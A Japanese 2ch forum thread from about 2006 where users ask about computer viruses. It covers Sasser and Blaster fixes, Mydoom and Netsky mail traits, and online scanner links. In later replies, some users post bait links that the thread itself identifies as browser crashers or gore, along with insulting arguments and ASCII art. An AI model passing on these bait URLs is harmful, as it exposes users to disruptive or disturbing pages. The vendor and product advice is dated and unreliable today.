ウィルス情報質問　総合スレッド★Part39

前スレ
【ウィルス情報質問　総合スレッド★Part38】
http://pc8.2ch.net/test/read.cgi/sec/1159190902/


テンプレ
【使用OS】
【WINDOWS　UPDATE】
【ウィルスソフト】
【UPDATE】
【スキャン】
【症状】
【やったこと】
【とった処置】

■■ウィルス定義データは定期的に更新しよう■■
メーカー製パソコンにはウィルス監視ソフトがプリインストールされていることが多いです。
しかし、それだけでは万全ではありません。なぜなら、新しいウィルスが次々と登場するからです！
監視ソフトのデータベースに無ければ、新しいウィルスは検出できません。
そのため、ウィルス監視ソフトには 「データの更新」機能が用意されています。
監視ソフトのメーカーのコンピューターに接続し、最新のウィルス情報を手に入れることが重要なのです。

最近出来た新しいウィルスは、ウィルスデータを更新していなければ検出できません。
ウィルス監視ソフトを導入しているからと安心せず、必ず定期的にデータの更新を行ないましょう！
データ更新をしなければ、監視ソフトも役に立ちません。

■■ワクチンメーカーリンク集■■　　※ウィルス監視ソフトをワクチンソフトとも呼びます。

・トレンドマイクロ株式会社　http://www.trendmicro.com/jp/home/personal.htm
　製品名：ウイルスバスター2006インターネットセキュリティ他
・株式会社シマンテック　http://www.symantec.com/region/jp/
　製品名：NortonAntiVirus、NortonInternetSecurity他
・VINTAGE SOLUTIONS, INC （バーテックスリンクより移管）
http://www.vintage-solutions.com/Japanese/
　製品名：ANTIDOTE （アンチドート）
・株式会社アラジンジャパン　http://www.aladdin.co.jp
　製品名：eSafeProtect
・コンピュータアソシエイツ株式会社　http://www.caj.co.jp/
　製品名：InocuLAN、CheyenneAntiVirus
・マカフィー株式会社　http://www.mcafee.com/jp/default.asp
　製品名：McAfee VirusScan
※プリインストール版のMcAfee VirusScanは、古いバージョンのデータ更新が打ち切られています。
　http://www.nai.com/japan/download/dat3end.asp　（リンク切れ）
　該当する場合は諦めてノートンかウィルスバスターを買いましょう。

■■ウィルスに感染しないために■■
★ウィルス監視ソフトを常駐させよう。
　→常に見張っていてくれる監視ソフトを導入すれば、あなたの負担もグッと減ります。
★知らない人から届いた添付ファイルに注意！
　→知らない人からファイルをもらう理由はありません。
★添付ファイルのファイル名だけで信用しない！
　→ファイル名だけでは中身は分かりません。
★知り合いからの添付ファイルでも、注意しよう！
　→アドレス帳に登録されている人に送信するウィルスもあるので注意が必要です。
★怪しいファイルをダウンロードしない。
　→怪しいファイルにウィルスが混入しているケースもよくあることです。
　　怪しいファイルや違法性のあるファイルはダウンロードしないようにしましょう。
■■ウィルスを発見・感染したら届け出を！ ■■
　もしウィルスを発見したり、感染してしまったら届け出をしましょう！
★IPAセキュリティセンター　コンピュータウイルスに関する届出について
　http://www.ipa.go.jp/security/outline/todokede-j.html
　こちらに届け出の方法などが記載されています。
　E-mail・郵送・FAXが利用できますので、ぜひ届け出ましょう。

W32.Sasser.Wormとその亜種にご注意！！
このウイルスは、MS04-011 の悪用を試みるワームです。
ランダムに選択された IPアドレスを持つコンピュータを走査し、拡散します。
亜種も出現しているので、 出現後にウイルス監視ソフトの定義ファイルを 更新していない場合、 ウイルススキャンで検出できません。
最新の定義ファイルに更新しましょう。
●症状
ネットワークの反応が遅く、 メッセージボックスのシャットダウンへのカウントダウンが始まります。
下に「lsass.exeの異常終了です」などと表示されます。
もし「RPCの異常終了です」ならば、次のBlaster/Welchiaです。
「スタート」メニュー→「ファイル名を指定して実行」に
shutdown -a と入力し、[OK] する。これでカウントダウンは止まります。
●予防策
MS04-011のパッチを適用する。
http://www.microsoft.com/japan/technet/security/bulletin/MS04-011.mspx
●下記サイトにも情報が掲載されているので、参照して下さい。
Sasser ワームについてのお知らせ
http://www.microsoft.com/japan/security/incident/sasser.mspx
* Windows XP編
http://www.microsoft.com/japan/security/incident/sasser_xp.mspx
* Windows 2000編
http://www.microsoft.com/japan/security/incident/sasser_2k.mspx
* シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.sasser.worm.html
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.sasser.b.worm.html
* トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.A
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.B
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.C
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_SASSER.D

Blaster / Welchia についての情報
このウイルスは、MS03-026 の悪用を試みるワームです。
●症状
ネットワークの反応が遅く、
シャットダウンへのカウントダウンが始まります。
メッセージボックスの下に「RPCの異常終了です」などと表示されます。
もし「lsass.exeの異常終了です」ならば、上のSasserです。
「スタート」メニュー→「ファイル名を指定して実行」に
shutdown -a と入力し、[OK] する。これでカウントダウンは止まります。

Blasterにはいくつかの亜種があります。
マイクロソフトの解説ページ
http://www.microsoft.com/japan/technet/security/virus/blaster.asp
Blaster トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_MSBLAST.A
Blaster シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.blaster.worm.html
Welchia トレンドマイクロ
http://www.trendmicro.co.jp/vinfo/virusencyclo/default5.asp?VName=WORM_NACHI.A
Welchia シマンテック
http://www.symantec.co.jp/region/jp/sarcj/data/w/w32.welchia.worm.html

「W32/Netsky」ウイルスの亜種（Netsky.Q）に関する情報
http://www.ipa.go.jp/security/topics/newvirus/netsky-q.html
・差出人アドレスは詐称されます。
・件名：　以下のいずれかひとつ
　　* Mail Delivery System (＜受取人メールアドレス＞)
　　* Failure (＜受取人メールアドレス＞)
　　* Delivered Message (＜受取人メールアドレス＞)
　　* Deliver Mail (＜受取人メールアドレス＞)
　　* Delivery Error (＜受取人メールアドレス＞)
・添付ファイル名：　{ message、data、mail、msg } + { ランダムな数字、なし } + { .pif , .zip }
　　　例： date7386.pif 、 message19392.zip など

「W32/Mydoom」（別名：Novarg）ウイルスに関する情報
http://www.ipa.go.jp/security/topics/newvirus/mydoom.html
・差出人アドレス（From）：　コンピュータから取得できたアドレスを詐称。
・件名：（以下の候補のいずれかを選択）
　　* Error
　　* Status
　　* Server Report
　　* Mail Transaction Failed
　　* Mail Delivery System
　　* hello
　　* hi
　　[ 任意の文字列 ]
・本文：（以下の候補のいずれかを選択）
　　"test"
　　"The message contains Unicode characters and has been sent as a binary attachment."
　　"The message cannot be represented in 7-bit ASCII encoding and has been sent as a binary attachment."
　　"Mail transaction failed. Partial message is available."
　　[ 任意の文字列 ]　　[ 空白 ]
・添付ファイル名：　ランダムなアルファベット

「既出です」Q&A
Q1．ノートンを使っていたら、２ｃｈのログからウィルスを発見しました。
　　　ノートンをインストールしたら2chに書けなくなりました。
A1．ここを読みましょう。
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8

Q2．ウィルスを検出しましたが、どんなウィルスかわかりません
A2．各アンチウィルスベンダーのウィルス情報をまず確認しましょう。
・Symantec Security Response
http://www.symantec.com/region/jp/sarcj/vinfodb.html
・Trend Micro ウイルス情報
http://www.trendmicro.co.jp/vinfo/virusencyclo/default.asp
・McAfee ウイルス情報
http://www.mcafeesecurity.com/japan/security/vlibrary.asp

Q3.「世界の中心で生まれてきてすいません」という表示が出てきました 。
　　デスクトップの背景が蓮画像になってしまいます 。
A3．Winny関連ウィルスですので、Download板へどうぞ。
　　ブラクラに仕込まれている場合もあるので、心当たりがなくても一度参照して下さい。
Winnyを狙ったワーム・ウイルス情報 Part54
http://tmp6.2ch.net/test/read.cgi/download/1146159356/

Q4．アンチウィルスソフトを持っていないのですが、無料のものはないですか？
A4．このスレでフリーのアンチウィルスソフトを取り扱っていますので確認して下さい。
フリーのアンチウイルスソフト Part8
http://pc8.2ch.net/test/read.cgi/sec/1146906473/

Q5．ホームページが変なページになってしまいます
A5．ウィルスではなくスパイウェアですので、こちらへどうぞ
エロサイトを見たら…助けてください！Part62
http://pc7.2ch.net/test/read.cgi/pcqa/1150380799/

関連スレッド
Winnyを狙ったワーム・ニュイルス情報 Part56
http://tmp6.2ch.net/test/read.cgi/download/1156596132/
sasser【スタコラサッサ】sasser　Part２
http://pc5.2ch.net/test/read.cgi/sec/1083839516/
Blasterスレ　part5
http://pc8.2ch.net/test/read.cgi/sec/1065964513/
【緊急!】ウィルス即行駆除方法【助けて!】
http://pc8.2ch.net/test/read.cgi/sec/1091174837/
アンチウィルスソフトのウィルス誤検出
http://pc8.2ch.net/test/read.cgi/sec/1027753135/
毎日ｳｨﾙｽﾒｰﾙが送られてくるのですが･･2通目
http://pc8.2ch.net/test/read.cgi/sec/1086494732/


関連スレは次スレに移行してる場合もあります。


質問する前に検索しましょう
http://www.yahoo.co.jp/
http://www.google.co.jp/

テンプレここまで

　　　　 　 ∧＿∧
　 　　　　（　・∀・） 　　トロイ〜ワーム!!!
　　　　　 （　⊃┳⊃
　　　　 ε(＿)ﾍ⌒ヽﾌ
　　　　 （ 　　（　・ω・）
≡≡≡　◎―◎⊃⊃


テンプレここまで

前スレの質問の続きです。
avast！4.7を使っていますが、
踏むとウィルスに感染するURLを踏んだ場合、


踏む→感染→avastが検出→削除→削除はできたがPCに有害
　　　　　↑
ここでPCに害をもたらす(削除するまでの間に)


これが私の見解です。
それともavastが入っているので感染しないので無害なのでしょうか？
ご回答宜しくお願いします。

ttp://www.kaspersky.co.jp/scanforvirus/
カスペオンラインスキャン

http://pc8.2ch.net/test/read.cgi/sec/1031073684/
オンラインによるウイルスチェックサービス

http://www2.strangeworld.org/uedakana/
カスペルスキー　アンチウィルス【フリー版】 06/11/10公開

>>13
氏ね

headline-news.tripod.com と strangeworld はブラクラ登録推奨

newsheadline.tripod.comもな

前スレでリンクチェッカーを知りました。
で、さっそく使いたいのですが、スレイプ似るでもＯＫですか？
なぜか右クリックしても、Dr.WEB で検査、の表示が出ていません。
プ似るでの設定方法を御教示ください。

ここ実質40な
ウィルス情報質問　総合スレッド★Part38
http://pc8.2ch.net/test/read.cgi/sec/1155716176/
ウィルス情報質問　総合スレッド★Part38
http://pc8.2ch.net/test/read.cgi/sec/1159190902/

>>10
前スレ嫁バカ

>>10
Avast!に限らず、どのアンチウイルスソフトでも安全とは言い切れない。
だから、少しでもリスクを低減したい人は、以下のようなセキュリティ環境で対応。
・高検出力の非・常駐アンチウイルスソフト
・非・常駐アンチスパイウェアソフト(検出・駆除・予防)
・IEエンジン以外のブラウザ
・PFW（アウトバウンド監視)
君の場合は、まず知識不足を補おうとする自助努力が足りないんじゃない？
Avast!はWeb閲覧時、マルウェアの侵入をブロックするWebシールド機能が
あるはず、ブロックできれば感染しないし・無害。リンク先のマルウェアの有無を確かめる
ことはできない。というかそういった機能をもったアンチウイルスソフトはないん
じゃないかな？必要なら、前スレで紹介されたものを利用するしかない。
>>17
IE用をインストールして再起動すれば使えると思うけど。
できなかったとしても、Sleipnirの右クリックメニューが弄くれれば・・・
私はOperaと2ch専ブラから利用、外出先のノーガードPC利用時には↓でチェック。
http://online.drweb.com/?url=1

あーあ、いい事言ってるのに

＞君の場合は、まず知識不足を補おうとする自助努力が足りないんじゃない？

このひとことが

「おれって物知りでやるだろ」

的な状態をよくあらわしちゃってるよ〜
能ある鷹は爪を隠す、というではないか。
無知な相手に威張ったところで、なにも得られるものはない。
もっと大物になってほしい。

>20
ありがとう

>>21
何故そういった解釈しかできない
まぁ正直、何の見返りもない慈善行為に精を出すほどできた人間ではないので
優越感に浸っていることは否定しないけど。
レスをつける相手にもよるが、これも2chQ&A掲示板特有のgive & takeということで
許してほしい　＿ﾄ￣|○

>>23
＞何故そういった解釈しかできない

簡単な事さ。

＞give & take

２ちゃんに限らず、世の中は最低でも　give & take　ばかり。
あんたは博識だ。ゆえに　give & give　ができる人間になってほしかった。

優越感という感情は

「善良という名の精神を滅ぼす麻薬」

のような快感だけであることに気付いてほしかった。
それだけのことさ。

ウィルス情報質問　総合スレッド★Part39

>>24
私の将来を案じてくれるのはありがたいが、優越感無しに生きれると
信じれるほどまっさらな人間ではないので、残念ながら手遅れです。
博識でも無いし、Give&Giveでは今日の夕食すら危うい人間です。
人の善意をそのままに受け取れない君の将来のほうが不安で仕方ありません。
スレ汚し＆駄文申し訳ありませんでした。

>>26
＞人の善意をそのままに受け取れない

なるほど。自分のした行為が真の善意か偽善か見極められない人物だったか。
どうやら、おれの思い込み違いだったようだな。

おれの将来を心配してくれてありがとう。
おれは馬鹿で単細胞で無知な男だ。
だが、それでもおれを愛してくれるやつらがいるのでおれは幸せだと思ってる。

では、おれもこれにて失礼するよ。さらばじゃ。

>>11-12あるみたいだけど
一応　前スレから


257 ：名無しさん＠お腹いっぱい。：2006/10/17(火) 23:36:06 Panda ActiveScan - Free Antivirus Online
http://www.pandasoftware.com/activescan/jp/activescan_principal.htm
削除可
シマンテック・セキュリティチェック
http://www.symantec.com/region/jp/securitycheck/index.html
ウイルスバスターオンラインスキャン
http://www.trendmicro.co.jp/hcall/index.asp
カスペルスキー：オンライン ウイルス＆スパイウェアスキャナ　
http://www.kaspersky.co.jp/scanforvirus/
トレンド　フレックス
http://trendflexsecurity.jp/free_security_tools/housecall_free_scan.php
削除可
F-Secure オンラインスキャナ
http://www.f-secure.co.jp/v-descs/disinfestation.html
ウイルスチェイサー for WEB
http://www.viruschaser.jp/support_online.html

これくらいしか思いつかんかった
参考にどうぞ　改良なりして次スレのテンプレにでもいれるとよろしいかと


259 ：名無しさん＠お腹いっぱい。：2006/10/18(水) 00:12:28
っ　BitDefender Online Scanner
http://www.bitdefender.com/scan8/ie.html
削除可

　乙であります

>>28
（　＾ω＾）乙だお♪

>>27
スレ汚しついでに更に汚します。
あらゆる行為において内在的に優越感というものはあります。
善意というものは結果的に相手をよい方向に導くということであって、
そこに優越感や自慰的行為であっても悪いことではありません。
すなわち、他者から偽善であるといわれようが結果的に善意になれば
いいのです。そもそも見ず知らずの相手に対する善意は偽善と
思ってもかまいません。「真の善意」「善良という名の精神を滅ぼす麻薬」
といった陳腐な言葉に酔いしれていないで、もっと内面を見つめ直したほうが
いいと思いますよ。もちろんこれは、悪意も含んでます。

セキュ板でやるな

>>31
おまいは根本的な事を勘違いしてる。
>>27は、おまいの内面の事を言ってるんだと思うよ。
そして、いま最も正しのは
>>32の
＞セキュ板でやるな
あはは

>>19
>>20
すいませんでした。
こういうことですよね。
　　　　↓
http://newsheadline.tripod.com/sports/20060928-00000025-san-fi.html

ブラクラです

リンクに　tripod　が入ってる場合は要注意です。＾＾

>>34
そうです

>>33
分かってる。否定してない。
前スレで>>10とやり取りした本人じゃなきゃわからんことを
妙な勘繰りいれて、手前勝手に「大物」「Give&Give」になれとか、図々しいんだよ。

よくさあVIPでやれとかの誘導レスあるけど、これはどこに誘導していいのかわからんなｗ

>>38
君の悔しい気持ちはわかったので
君もそろそろ、その図々しいやつを見習っておさらばしなよ。シツコスギ

あ〜やってらんね　...　空虚

＼　　 　　　　 　　　　　　　�U　　　　　　 　 /
　 ＼　　　　　 　　　　　　　�U　　　　　 　 /
　　　　　　　　　　　　　／￣￣　ヽ,
　　　　　　　　　　　　/　　　　　 　 ',　　　　　　/　　 　　＿/＼／＼/＼／|＿
　　　 ＼　　　 ﾉ//, {0}　 /¨`ヽ　{0}　,ﾐヽ　 　 /　 　　 ＼　　 　　　　　　　／
　　　　　＼ ／　く　ｌ　　 ヽ._.ノ　　　', ゝ　＼　　　 　　 ＜　　 バーカ！　　＞
　　　　　／ ／⌒　ﾘ　　　｀ー'′　　 ' ⌒＼ ＼　　　　／　 　　　　　　　　＼
　　　　　(　　￣￣⌒　　　　　　　　　　⌒￣　＿)　　　￣|／＼/＼/＼/￣
　　　　　　｀￣￣｀ヽ　　　　　　　　　　　/´￣
　　　　　　　　　　　|　　　　　　　　　 　 | 　
　　−−− ‐　　　ﾉ　 　　　　　　　　　｜
　　　　　　　　　 ／ 　　　　　　　 　 　ﾉ　　　　　　　 −−−−
　　　　　　　　 /　　　　　　　　 　　∠＿
　　−−　　　|　 　 f＼　　　　　　ﾉ　 　 ￣`丶.
　　　　　　　　| 　 　|　　ヽ＿＿ﾉー─-- ､_ 　　）　　　　−　_
.　　　　　　　 ｜　　| 　 　　　　　　　　　/　　/
　　　　 　　 　｜　｜　　　　　　　　　　,'　　/
　　　　／ 　／　　ﾉ　　　　　　　　　 　| 　 ,'　　　 ＼
　　　　　　/ 　 ／ 　 　　　　　　　　 　|　 /　　　　　 ＼
　　　／_ノ　／　 　 　 　　　　　　　　,ﾉ　〈 　 　 　 　 　 ＼
　　　　(　 〈　　　　　　　　　　　　 　ヽ.__　＼　　　　　　　　＼
　　　　　ヽ.＿>　　　　　　　　　　　　　　＼__)

そんな気分なときはセクシーショットでも
ttp://sakuratan.ddo.jp/imgboard/img-box/img20061115204016.jpg

(*´д｀*)まなべええええええええええええええええええええ

　　　　 　　／⌒ヽ
⊂二二二（　＾ω＾）二⊃
　　　　　|　　　 / 　　　　　　ﾌﾞｰﾝ
　 　　　 （　ヽノ
　　　　　 ﾉ>ノ　
　 三　　レﾚ

もう一丁セクシーショット
http://www.transa-na.net/?news/archive/2006/10/11.jpg

-- 「2006/11/14 9:52」のキャッシュをチェックしています。 --
注意！ループタグを発見！ (3)
注意！逃げウィンドウを発見！ (1)
注意！ゾンビ ウィンドウを発見！ (1)
ブラクラチェックが終了しました。

※ windowオープンを発見しました。(8)
payout.htm
http://www.topsites.com.br/cgi-bin/top69/vote?id=2515
payout.htm
※ インラインフレームタグを発見しました。 (2)
analsex-allpics.htm
上記アドレスのチェックもお勧めします。(そのままチェックできます。)
--レスポンスヘッダ--
HTTP/1.1 200 OK
Date: Tue, 14 Nov 2006 00:51:56 GMT
Server: Apache
Accept-Ranges: bytes
Connection: close
Content-Type: text/html; charset=ISO-8859-1
SCO-Hash: 5ab69771c748a6a6aae9ef6189cb5648

[キャッシュ(5.3 KB) 削除 / 検索] [このアドレスの安全度 81%] [RSS]

　　　　　　　　　　　　　　　　　　　　　　　　　 つまんね 　　 　　 （　　(
　　　　　　　　　　　　　　　　　 　,,.ｒ'' ゛~~` ''ッ,,　　　 ﾀﾞﾘｨんだよね　　　　　　) 　 ）
　　　　　　　　　　　　　　　　　､ ゛　 ,,,,,,,,,,,,,,,,,,,,, ヾ.　　ﾊﾞｶｱｲﾃﾆｽﾝﾉ ,.、　　　/ ／
　　　　　　　　　　　　　 　 　 ﾐ　　 ﾐ゛,へ.__, ,_ﾉヽ i.　　　　　 　 　 　 　 　 .| |l　　　l ,´
　　　　　　　　　　　　　　　 ﾐ　　　 ﾐ,　( ・) {・ﾌ 〉 ﾐ.　　　　　　　 　 ＿-､i::| |ニニii '
　　　　　　　　　　　　、,,,,ツi:　　　　 ﾐ,｀~´ ヽ~〈　 .ﾐ　　　　　　　　/,‐ヽヽ`､||
　　　　　　　　　　､ｼ`｀　　 i:　　　 　 ,ゞ 　'ｎ.inヽ. .ﾐ　　　　　　　　　　（ .〉〉/
　　　　　　　　　ｼ　 ／／　　　　　　ﾐ｀　　　 l.l　ヽ"、　　　　　 　 　／　 ノ
　　　　　　　 ﾐ/ ｼ　　　　　　　　 　 彡　,＝こ二=.{　ﾐ,,　　　　　 ,ｒ'´　,,､'゛
　　　　　 　 ﾐi. / 　/　　　　　　　' ! w､｀~^' vwｖ '､ 　 ﾐ 　 　 　〃　.ﾐ
　　　　　　 .ﾐ /　　　　 i: 　/　　　　　　｀＾^　　　　 ＼ ."　　　〃 　ﾐ
　　　　　　.ﾐ.:/　/　/　i:　　　　　　ｖ　　　　!　　,,　　　＼ ､　〃　　ﾐ
　　　　　　：i;　　　　 .i:　　　ｗ　　　　　　!!　　 ミ!:　　　ﾐ ＼＼(　⌒ヽ
　　　　　　:i;　　/ 　 i:　　　　　　!!　　　　　　 .ミ ｷ　 　 , ⌒｀、_　　)　 ）
　　　　　 :iｌ　　　　 .i:　　　　!　　　　ｗ!　　　 ミ　.:i.　　　（_ (　　_,ノ　　） ,
　　　　　:iｌ　　　!　 i:　　　　　　　　　　　! ,〃゛　　ｷ　　 　ゞ、 __,　 ノ ,　
　　　　 .:iｌ　!　 　／~~｀｀``` " '''' ＝ ‐- ､ﾐ　　_,,,,_ﾐ,　　il　`　　ー　´
　　　　 :iｌ　　　´ ―　￣　- ,,. -‐‐-､、　ヽ. ヾ、　　ゞ､　`　 〃
　　　　　ゝ､ｗｘ.mn.!!++ナ'~ 　　　　　ヾ~ヽ、　ヽ、　,,　~^^}´
　　　　　　　　彡　　 〃　　〃　　　　 }｝　/〉.〉〉〉i''"　　 〃
　　　　　　　　　彡､ 　　　 ｛{　　　　 〃,__!////l |　 　 〃
　　　　　　　　　　 X,,　　　　》.　　　≪.__`‐'.' '´,Uwwvw'､...,,,___
　　　　　　　　　　　　＾＾＾＾ !ｗニこ)こ)二）｀) （＿,,,..- ､...二⊃_).)

>>46のリンク先はセクシーショットというより、すでグロの領域

マカフィーのウィルス対策とスパイウェアのやつインストールしたらかなり重くなって少しいらいらします・・・
そんなもんですかね、せっかく光入れたのに。

　　　　　　　　　　　　　　　　　　　　　　　　 　　　　　　　　　　　　　　　 　　 （　　(
　　　　　　　　　　　　　　　　 　,,.ｒ'' ゛~~` ''ッ,,　　　 ｽﾚﾀｲﾖﾒﾖ　　　　　　　　) 　 ）
　　　　　　　　　　　　　　　　､ ゛　 ,,,,,,,,,,,,,,,,,,,,, ヾ.　　　　　　　　　　　 ,.、　　　/ ／
　　　　　　　　　　　　 　 　 ﾐ　　 ﾐ゛,へ.__, ,_ﾉヽ i.　　　　　 　 　 　 　 　 .| |l　　　l ,´
　　　　　　　　　　　　　　 ﾐ　　　 ﾐ,　( ・) {・ﾌ 〉 ﾐ.　　　　　　　 　 ＿-､i::| |ニニii '
　　　　　　　　　　　、,,,,ツi:　　　　 ﾐ,｀~´ ヽ~〈　 .ﾐ　　　　　　　　/,‐ヽヽ`､||
　　　　　　　　　､ｼ`｀　　 i:　　　 　 ,ゞ 　'ｎ.inヽ. .ﾐ　　　　　　　　　　（ .〉〉/
　　　　　　　　ｼ　 ／／　　　　　　ﾐ｀　　　 l.l　ヽ"、　　　　　 　 　／　 ノ
　　　　　　 ﾐ/ ｼ　　　　　　　　 　 彡　,＝こ二=.{　ﾐ,,　　　　　 ,ｒ'´　,,､'゛
　　　　 　 ﾐi. / 　/　　　　　　　' ! w､｀~^' vwｖ '､ 　 ﾐ 　 　 　〃　.ﾐ
　　　　　 .ﾐ /　　　　 i: 　/　　　　　　｀＾^　　　　 ＼ ."　　　〃 　ﾐ
　　　　　.ﾐ.:/　/　/　i:　　　　　　ｖ　　　　!　　,,　　　＼ ､　〃　　ﾐ
　　　　　：i;　　　　 .i:　　　ｗ　　　　　　!!　　 ミ!:　　　ﾐ ＼＼(　⌒ヽ
　　　　　:i;　　/ 　 i:　　　　　　!!　　　　　　 .ミ ｷ　 　 , ⌒｀、_　　)　 ）
　　　　 :iｌ　　　　 .i:　　　　!　　　　ｗ!　　　 ミ　.:i.　　　（_ (　　_,ノ　　） ,
　　　　:iｌ　　　!　 i:　　　　　　　　　　　! ,〃゛　　ｷ　　 　ゞ、 __,　 ノ ,　
　　　 .:iｌ　!　 　／~~｀｀``` " '''' ＝ ‐- ､ﾐ　　_,,,,_ﾐ,　　il　`　　ー　´
　　　 :iｌ　　　´ ―　￣　- ,,. -‐‐-､、　ヽ. ヾ、　　ゞ､　`　 〃
　　　　ゝ､ｗｘ.mn.!!++ナ'~ 　　　　　ヾ~ヽ、　ヽ、　,,　~^^}´
　　　　　　　彡　　 〃　　〃　　　　 }｝　/〉.〉〉〉i''"　　 〃
　　　　　　　　彡､ 　　　 ｛{　　　　 〃,__!////l |　 　 〃
　　　　　　　　　 X,,　　　　》.　　　≪.__`‐'.' '´,Uwwvw'､...,,,___
　　　　　　　　　　　＾＾＾＾ !ｗニこ)こ)二）｀) （＿,,,..- ､...二⊃_).)

なんか最近、

再起動しますか？

とか聞きながら５分くらいカウントダウンしていくウイルスっぽいのに感染しました＞＜。。
どうしたらいいですかね？

ageておきます

>>52
>>28
とりあえずカスペあたり試してきて報告してちょ。

ゲームをしていてまったく気が付かなかったんですが、
良く見ると警告文らしきものはウインドウズの自動更新後の再起動の通知でした(;´Д｀)

以前似たような再起動ウィルスに感染した事があったので、またかと早とちりしてしまいました。

お騒がせしました。吊ってきます･･･

なるほど。吊るほどじゃないよ。

＞だが、それでもおれを愛してくれるやつらがいるのでおれは幸せだと思ってる。
　　　　　　　　　　　　　　　　　　　　　　　ﾀｼｬﾄ ﾋｶｸｼタ ｳｴﾃﾞﾉ ﾕｳｴﾂｶﾝﾆ
　　　　　　　　　　　　　　　　 　,,.ｒ'' ゛~~` ''ッ,,　　　ｼｱﾜｾｦ ｶﾝｼﾞﾃﾙ
　　　　　　　　　　　　　　　　､ ゛　 ,,,,,,,,,,,,,,,,,,,,, ヾ.　　　ﾄｲｳｺﾄ　　　　　　　 ,.、　　　/ ／
　　　　　　　　　　　　 　 　 ﾐ　　 ﾐ゛,へ.__, ,_ﾉヽ i.　　　　　 　 　 　 　 　 .| |l　　　l ,´
　　　　　　　　　　　　　　 ﾐ　　　 ﾐ,　( ・) {・ﾌ 〉 ﾐ.　　　　　　　 　 ＿-､i::| |ニニii '
　　　　　　　　　　　、,,,,ツi:　　　　 ﾐ,｀~´ ヽ~〈　 .ﾐ　　　　　　　　/,‐ヽヽ`､||
　　　　　　　　　､ｼ`｀　　 i:　　　 　 ,ゞ 　'ｎ.inヽ. .ﾐ　　　　　　　　　　（ .〉〉/
　　　　　　　　ｼ　 ／／　　　　　　ﾐ｀　　　 l.l　ヽ"、　　　　　 　 　／　 ノ
　　　　　　 ﾐ/ ｼ　　　　　　　　 　 彡　,＝こ二=.{　ﾐ,,　　　　　 ,ｒ'´　,,､'゛
　　　　 　 ﾐi. / 　/　　　　　　　' ! w､｀~^' vwｖ '､ 　 ﾐ 　 　 　〃　.ﾐ
　　　　　 .ﾐ /　　　　 i: 　/　　　　　　｀＾^　　　　 ＼ ."　　　〃 　ﾐ
　　　　　.ﾐ.:/　/　/　i:　　　　　　ｖ　　　　!　　,,　　　＼ ､　〃　　ﾐ
　　　　　：i;　　　　 .i:　　　ｗ　　　　　　!!　　 ミ!:　　　ﾐ ＼＼(　⌒ヽ
　　　　　:i;　　/ 　 i:　　　　　　!!　　　　　　 .ミ ｷ　 　 , ⌒｀、_　　)　 ）
　　　　 :iｌ　　　　 .i:　　　　!　　　　ｗ!　　　 ミ　.:i.　　　（_ (　　_,ノ　　） ,
　　　　:iｌ　　　!　 i:　　　　　　　　　　　! ,〃゛　　ｷ　　 　ゞ、 __,　 ノ ,　
　　　 .:iｌ　!　 　／~~｀｀``` " '''' ＝ ‐- ､ﾐ　　_,,,,_ﾐ,　　il　`　　ー　´
　　　 :iｌ　　　´ ―　￣　- ,,. -‐‐-､、　ヽ. ヾ、　　ゞ､　`　 〃
　　　　ゝ､ｗｘ.mn.!!++ナ'~ 　　　　　ヾ~ヽ、　ヽ、　,,　~^^}´
　　　　　　　彡　　 〃　　〃　　　　 }｝　/〉.〉〉〉i''"　　 〃
　　　　　　　　彡､ 　　　 ｛{　　　　 〃,__!////l |　 　 〃
　　　　　　　　　 X,,　　　　》.　　　≪.__`‐'.' '´,Uwwvw'､...,,,___
　　　　　　　　　　　＾＾＾＾ !ｗニこ)こ)二）｀) （＿,,,..- ､...二⊃_).)

　　　　　　　　　　　　　　　　　　　　　　　 ｾﾞﾝｲﾄ ｷﾞｾﾞﾝﾊ
　　　　　　　　　　　　　　　　 　,,.ｒ'' ゛~~` ''ッ,,　　　ﾀｼｬﾉ ﾋｮｳｶ
　　　　　　　　　　　　　　　　､ ゛　 ,,,,,,,,,,,,,,,,,,,,, ヾ.　　　　ﾋｮｳﾘｲｯﾀｲ　　　　 ,.、　　　/ ／
　　　　　　　　　　　　 　 　 ﾐ　　 ﾐ゛,へ.__, ,_ﾉヽ i.　　　　　 　 　 　 　 　 .| |l　　　l ,´
　　　　　　　　　　　　　　 ﾐ　　　 ﾐ,　( ・) {・ﾌ 〉 ﾐ.　　　　　　　 　 ＿-､i::| |ニニii '
　　　　　　　　　　　、,,,,ツi:　　　　 ﾐ,｀~´ ヽ~〈　 .ﾐ　　　　　　　　/,‐ヽヽ`､||
　　　　　　　　　､ｼ`｀　　 i:　　　 　 ,ゞ 　'ｎ.inヽ. .ﾐ　　　　　　　　　　（ .〉〉/
　　　　　　　　ｼ　 ／／　　　　　　ﾐ｀　　　 l.l　ヽ"、　　　　　 　 　／　 ノ
　　　　　　 ﾐ/ ｼ　　　　　　　　 　 彡　,＝こ二=.{　ﾐ,,　　　　　 ,ｒ'´　,,､'゛
　　　　 　 ﾐi. / 　/　　　　　　　' ! w､｀~^' vwｖ '､ 　 ﾐ 　 　 　〃　.ﾐ
　　　　　 .ﾐ /　　　　 i: 　/　　　　　　｀＾^　　　　 ＼ ."　　　〃 　ﾐ
　　　　　.ﾐ.:/　/　/　i:　　　　　　ｖ　　　　!　　,,　　　＼ ､　〃　　ﾐ
　　　　　：i;　　　　 .i:　　　ｗ　　　　　　!!　　 ミ!:　　　ﾐ ＼＼(　⌒ヽ
　　　　　:i;　　/ 　 i:　　　　　　!!　　　　　　 .ミ ｷ　 　 , ⌒｀、_　　)　 ）
　　　　 :iｌ　　　　 .i:　　　　!　　　　ｗ!　　　 ミ　.:i.　　　（_ (　　_,ノ　　） ,
　　　　:iｌ　　　!　 i:　　　　　　　　　　　! ,〃゛　　ｷ　　 　ゞ、 __,　 ノ ,　
